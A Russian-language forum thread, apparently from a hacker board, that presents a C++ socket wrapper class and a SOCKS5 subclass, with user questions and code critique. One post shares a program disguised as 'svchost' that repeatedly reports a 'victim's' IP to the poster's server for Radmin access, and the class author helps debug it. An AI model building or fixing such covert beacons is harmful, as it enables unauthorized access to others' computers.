PDA

Просмотр полной версии : Класс для работы с сокетами на С++


_Great_
19.11.2006, 00:01
Написал недавно удобный класс Socket для работы с сокетами.
Класс содержит следующие методы:

Socket(bool create=1, int type=SOCK_STREAM, int protocol=IPPROTO_TCP)
Конструктор класса Socket. Флаг create указывает на необходимость создания сокета в конструкторе.
По умолчанию принимается тип SOCK_STREAM и протокол IPPROTO_TCP (TCP/IP)

Socket(SOCKET)
создание объекта на основе уже созданного сокета

Socket(Socket&)
конструктор копии

~Socket()
деструктор

int create(int type=SOCK_STREAM, int protocol=IPPROTO_TCP)
создает сокет указанного типа и протокола


int set_buffer_size(int size)
установка размера входного буфера. возвращает старое значение

int get_buffer_size()
получение размера входного буфера

bool set_terminate_flag(bool value)
установка флага, при котором будет записываться 0 в конец буфера при получении данных. возвращает старое значение

bool get_terminate_flag()
получение флага записи 0

int get_last_length()
получение длины последнего полученного блока данных

static char* getlasterror()
возвратить текстовое описание ошибки. утечки памяти не происходит, т.к. место зарезервировано в сегменте данных

int bind(int port, int addr=INADDR_ANY)
биндит сокет к порту и указанному адресу.
эта и все остальные сокетные функции возвращает -1 при ошибке и 0, если все нормально

int connect(char* host_name, int port)
соединяется с указанном хостом и портом. Можно передать доменное имя

int connect_to(sockaddr_in* sa)
соединяется согласно параметрам, указанным в заполненной структуре SOCKADDR_IN

int close()
закрывает сокет

int listen(int backlog=5)
переводит сокет в прослушивающий режим

Socket* accept(sockaddr_in* from=0)
ждет входящего соединения. Можно передать адрес sockaddr_in, куда будет записан адрес удаленного компьютера. Возвращает новый объект Socket, который нужно будет удалить оператором delete.

char* recv(char* buffer, int buflen=0)
получает данные из сокета. Если передать 0 вместо длины буфера, будет использоваться дефолтное значение

unsigned char* recv(unsigned char* buffer, int buflen=0)
перегруженный аналог предыдущей функции для типа unsigned char*

char* recv()
получение данных с автовыделением памяти. Она должна будет удалена вызовом delete.

int send(char* buffer, int buflen=0)
и int send(unsigned char* buffer, int buflen=0)
отправка данных в сокет. Если указать длину 0, то длина будет вычислена с помощью strlen() (до первого нулевого байта)

Резолвинг доменных имен:
static char* nslookup(char* host_name)
и static DWORD nslookup_raw(char* host_name)
возвращают IP-адрес, соответствующий домену, соответственно в строковом и числовом форматах.

Поддержка потокового ввода-вывода для строк
Socket& operator<<(char* string)
и Socket& operator>>(char* buffer)

Пример клиентской программы:

Socket sock;
sock.connect("mail.ru", 80);
sock<<"GET http://mail.ru/ HTTP/1.0\r\n\r\n";

char buf[1024];
sock.set_buffer_size(sizeof(buf));
sock>>buf;
MessageBox(0, buf, "mail.ru", 0);
sock.close();


Пример серверной программы (с проверкой на ошибки):

Socket serv;
if(serv.bind(8080)==-1)
return MessageBox(0, serv.getlasterror(), "Unable to bind socket", MB_ICONHAND);
if(serv.listen()==-1)
return MessageBox(0, serv.getlasterror(), "Unable to bind socket", MB_ICONHAND);
Socket *remote = serv.accept();
if(!remote)
return MessageBox(0, serv.getlasterror(), "Unable to accept connection", MB_ICONHAND);
char buf[1024];
remote->set_buffer_size(sizeof(buf));
(*remote)>>buf;
(*remote)<<"HTTP/1.0 200 OK\r\nContent-Type: text/html\r\n\r\n<h1>Socket class demo application</h1>Hello, World!";
remote->close();
serv.close();
delete remote;

MessageBox(0, buf, "Remote", 0);


Пример наследования - класс Socks для работы с SOCKS-прокси:

class Socks: public Socket
{
public:
int connect(char* proxy_host, int proxy_port, char* dest_host, int dest_port);
};

// Connect to SOCKS
int Socks::connect(char* proxy_host, int proxy_port, char* dest_host, int dest_port)
{
set_terminate_flag(0);
if(Socket::connect(proxy_host, proxy_port)==-1)
return -1;

unsigned char packet[1024];
int bytes=0;

memcpy(packet, "\x05\x01\x00", 3);
send(packet, 3);
recv(packet, sizeof(packet));
bytes = get_last_length();

if(*(WORD*)packet != 0x0005)
{
close();
return -1;
}

DWORD ip = nslookup_raw(dest_host);
if(!ip)
{
close();
return -1;
}

packet[0] = 5; // VERSION: 5
packet[1] = 1; // METHOD: CONNECT
packet[2] = 0; // RSV: 0
packet[3] = 1; // ADTYPE: IPv4
*(DWORD*)&(packet[4]) = ip;
*(WORD*)&(packet[8]) = htons(dest_port);

send(packet, 10);
recv(packet, sizeof(packet));
bytes = get_last_length();

if(bytes!=10 || packet[1])
{
close();
return -1;
}

set_terminate_flag(1);

return 0;
}

После вызова connect можно читать и писать в сокет как обычно

Скачать:
socket.h (2 Kb) (http://gr8.cih.ms/data/socket.h)
socket.cpp (6 Kb) (http://gr8.cih.ms/data/socket.cpp)

W!z@rD
19.11.2006, 15:48
_Great_ - а на паскаль переведешь?

_Great_
19.11.2006, 15:50
На паскальные классы?
Можно попробовать

nc.STRIEM
19.11.2006, 21:26
слушай ток я чет не пойму get_buffer_size() это "получение размера входного буфера" тобеш ответ сервера?? почему тогла всегда выдает 1024 !
и recv() тоже берет ток 1024 символа, а не весь ответ!
или я чет не разобрался..

_Great_
19.11.2006, 21:38
Если recv() не передать длину буфера или юзать конструкцию sock>>buffer, то из сокета прочтется количество байт, равное дефолтной длине буфера (по умолчанию 1024). Это значение меняется функцией set_buffer_size().
А получение реального размера - get_last_length().

пример:
char buffer[512];
sock.set_buffer_size(sizeof(buffer));

sock<<"GET http://mail.ru/\r\n\r\n";
sock>>buffer;
прочтет 512 байт во время выполнения sock>>buffer, т.к. это значение было установлено

nc.STRIEM
19.11.2006, 23:02
НУ эт я уже понял! а есле я не знаю длину ответа?? тогда как??

_Great_
19.11.2006, 23:07
В смысле? :)
char buf[512]; // создаем буфер
sock.set_buffer_size(512); // задаем размер

do
{
sock>>buf;
// парсим
}
while(sock.get_last_length()>0);

sock.close();
примерно так выглядит цикл чтения из сокета.

W!z@rD
20.11.2006, 23:11
/me думает: "а если сам перепишу, сколько багов будет??!"
;)

nc.STRIEM
21.11.2006, 01:04
В смысле? :)
char buf[512]; // создаем буфер
sock.set_buffer_size(512); // задаем размер

do
{
sock>>buf;
// парсим
}
while(sock.get_last_length()>0);

sock.close();
примерно так выглядит цикл чтения из сокета.
Все уже разобрался! спасиб!

m17
13.12.2006, 00:40
возник вопрос, как определит наличие работающего сетевого подключения к интернету? или открыть сокет и попытаться что-то прочитать и есть самый простой вариант? как отловить момент когда юзер подключиться?


// file: svchost.cpp
#include "stdafx.h"
#include "socket.h"

int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
char buf[32];

while (true)
{
Socket sock;

sock.connect("my.ip.add.ress", 177);
sock << "GET http://my.ip.add.ress/ HTTP/1.0\r\n\r\n";

sock.set_buffer_size(sizeof(buf));
sock >> buf;
sock.close();

Sleep(25000);
}

return 0;
}


вот такой исходник. использую чтобы при коннекте момедного юзера с моим radmin'ом мне сразу пришел его IP (у меня запущен сервер с помощью того же класса, пишет в лог и MessageBox кидает при попытке коннекта). так вот боюсь перегрузить систему жертвы, не нужно чтоб лишнюю оперативу жрало и вообще процессор занимало...
да и еще если Socket sock; вытащить из цикла, то почему-то после первого обращения к серверу, в следующие шаги цикла ничего не приходит(как будто и не пытаеться соединиться)? почему? первый раз что-то под сеть пишу на CPP...

v@no
15.12.2006, 23:57
_Great_ - а на паскаль переведешь?
а сокеты везде одни и теже просто убираем класс меняем заголовки функций потом все переменные переносим в раздел описания переменных и готово =) у нас модуль работы с сокетами для паскалеподобных

_Great_
16.12.2006, 00:39
да и еще если Socket sock; вытащить из цикла, то почему-то после первого обращения к серверу, в следующие шаги цикла ничего не приходит(как будто и не пытаеться соединиться)? почему? первый раз что-то под сеть пишу на CPP...
потому что в конце цикла вызов sock.close() намертво его убивает.

а так в цикле на каждой итерации каждый раз вызывается конструктор класса.
когда вытащишь - конструктор вызывается один раз перед циклом.
выход из ситуации - вытащить из цикла Socket sock и пихнуть в цикл перед connect вызов socket.create() для создания нового сокета.

v@no, вот и перепеши на дельфи, если тебе не в лом :)

nerezus
16.12.2006, 11:15
v@no, вот и перепеши на дельфи, если тебе не в лом На делфях уже есть, причем стандартным компонентом ;)

v@no
16.12.2006, 12:38
На делфях уже есть, причем стандартным компонентом ;)
это да называется ClientSocket , ServerSocket на вкладке Internet

v@no
16.12.2006, 12:41
v@no, вот и перепеши на дельфи, если тебе не в лом :)
легче самому написать с нуля =), для тех кто хочет с сокетами винапи поработать на делфи или паскале есть замечательная книга "Делфи в шутку и серьез или Что умеют хакеры" от автора книги "С++ глазаси хакера" там все что касается работы в сети достаточно хорошо написано

_Great_
16.12.2006, 16:06
От Флёнова? фуууууууууууууууууууууу.=\\ \\\\\\\\
Я читал его книжки, пару штук. Я не знаю, чем он накуривался, но там таакой бред...
Помнится, мы с тохой и с бр читали его книжку какую-то в магазине и ржали )

Кстати, че вас на дельфи понесло)
Я писал для С++.

iron
04.01.2007, 21:23
_Great_
неплохо неплохо понравился мне твой клас.
Анекоторые книжки Флёнова могут помочь новичкам.
но их лучше параллельно читать с какой нибудь другой книженцией т.к там действительно бывает бред.

_Great_
04.01.2007, 21:30
Анекоторые книжки Флёнова могут помочь новичкам.
книжки фленова я читаю как сборник анекдотов )
такое увидишь только там :)

[NiGHT]DarkAngel
21.06.2007, 23:15
А можно куда-нибудь еще раз пожалуйста перезалить фаилы socket.h и socket.cpp или выслать на мыло mister.zavulon@kpost.ru. Зарание благодарен.

nerezus
21.06.2007, 23:21
Анекоторые книжки Флёнова могут помочь новичкам. Неа. Этот мудак пишет про то, в чем АБСОЛЮТНО не шарит.
Видел я его книгу по пхп - жуть =\

Great: Да вы, батенька, археолог оО

_Great_
21.06.2007, 23:21
Обновил ссылки + приаттачил к посту

scrat
21.06.2007, 23:40
грейт спс за такой хороший класс! пойду напишу на нём сплойт)

_Great_
22.06.2007, 00:14
Я еще там слегка полиморфизм прикрутил, но сорсы залил старые, перезаливать влом.. Чтобы можно было одинаково юзать функции и класса Socks и класса Socket.. парочка чисто виртуальных функций и все такое... вообщем надо тот сам дореализует, если ооочень надо будет - это можно будет найти в исходниках AntichatWebTool, релиз которой через некоторое время состоится.

sni4ok
22.06.2007, 00:19
Написал недавно удобный класс Socket для работы с сокетами.


ужос нах, коды ошибок вместо исключений, 2 экземпляра класса в разных потоках приведут к рэйскондишинам из-за глобальных переменных,
не говоря уже про то, что код бонально не удовлетворяет базовой гарантии.
з.ы и вообще юзай asio.sourceforge.net

_Great_
22.06.2007, 00:23
Ну.. многопоточность была не оч нужна. Коды ошибок, исключения - а разница то?
з.ы и вообще юзай asio.sourceforge.net
Глянем, как время будет

Namelles One
08.12.2008, 14:38
Нет, ну а мало ли...

Впрочем, конечно, под Винду такие вещи актуальнее на С или на C# .NET, а то, что сотворил Грейт (кстати клевая штука именно в плане кода) - смотрелось бы идеологическо гораздо более верно под Никсы.

P.S. И, кстати да, это явление относится именно к велосипеду, который изобретать не стоит - ибо в boost.asio все уже украдено до нас.

taria
30.01.2009, 04:53
выпадает ошибка, хотя Preprocessor Definitions: WIN32;_DEBUG;_CONSOLE;_UNICODE;UNICODE

или проблема не в этом?

socket.cpp(278) : error C2664: 'FormatMessageW' : cannot convert parameter 5 from 'char [256]' to 'LPWSTR'

taria
30.01.2009, 05:04
то _Great_ видела ты написал что еще модифицировал, не мог бы выложить ? или скинь пожалуйста на taria88@mail.ru

kusanagi
06.09.2009, 16:12
подскажите а на net есть переведенный класс?

scrat
06.09.2009, 21:53
подскажите а на net есть переведенный класс?
а зачем тебе в дотнете сокеты?

_Great_
10.09.2009, 08:07
kusanagi
Эээ в дотнете же встроенные есть.

.ATK
10.09.2009, 10:29
kusanagi
Эээ в дотнете же встроенные есть.

Нету, вроде как бе :(

n4e/\@
10.09.2009, 10:51
Нету, вроде как бе :(
А это разве не он?
http://msdn.microsoft.com/ru-ru/library/system.net.sockets.socket.aspx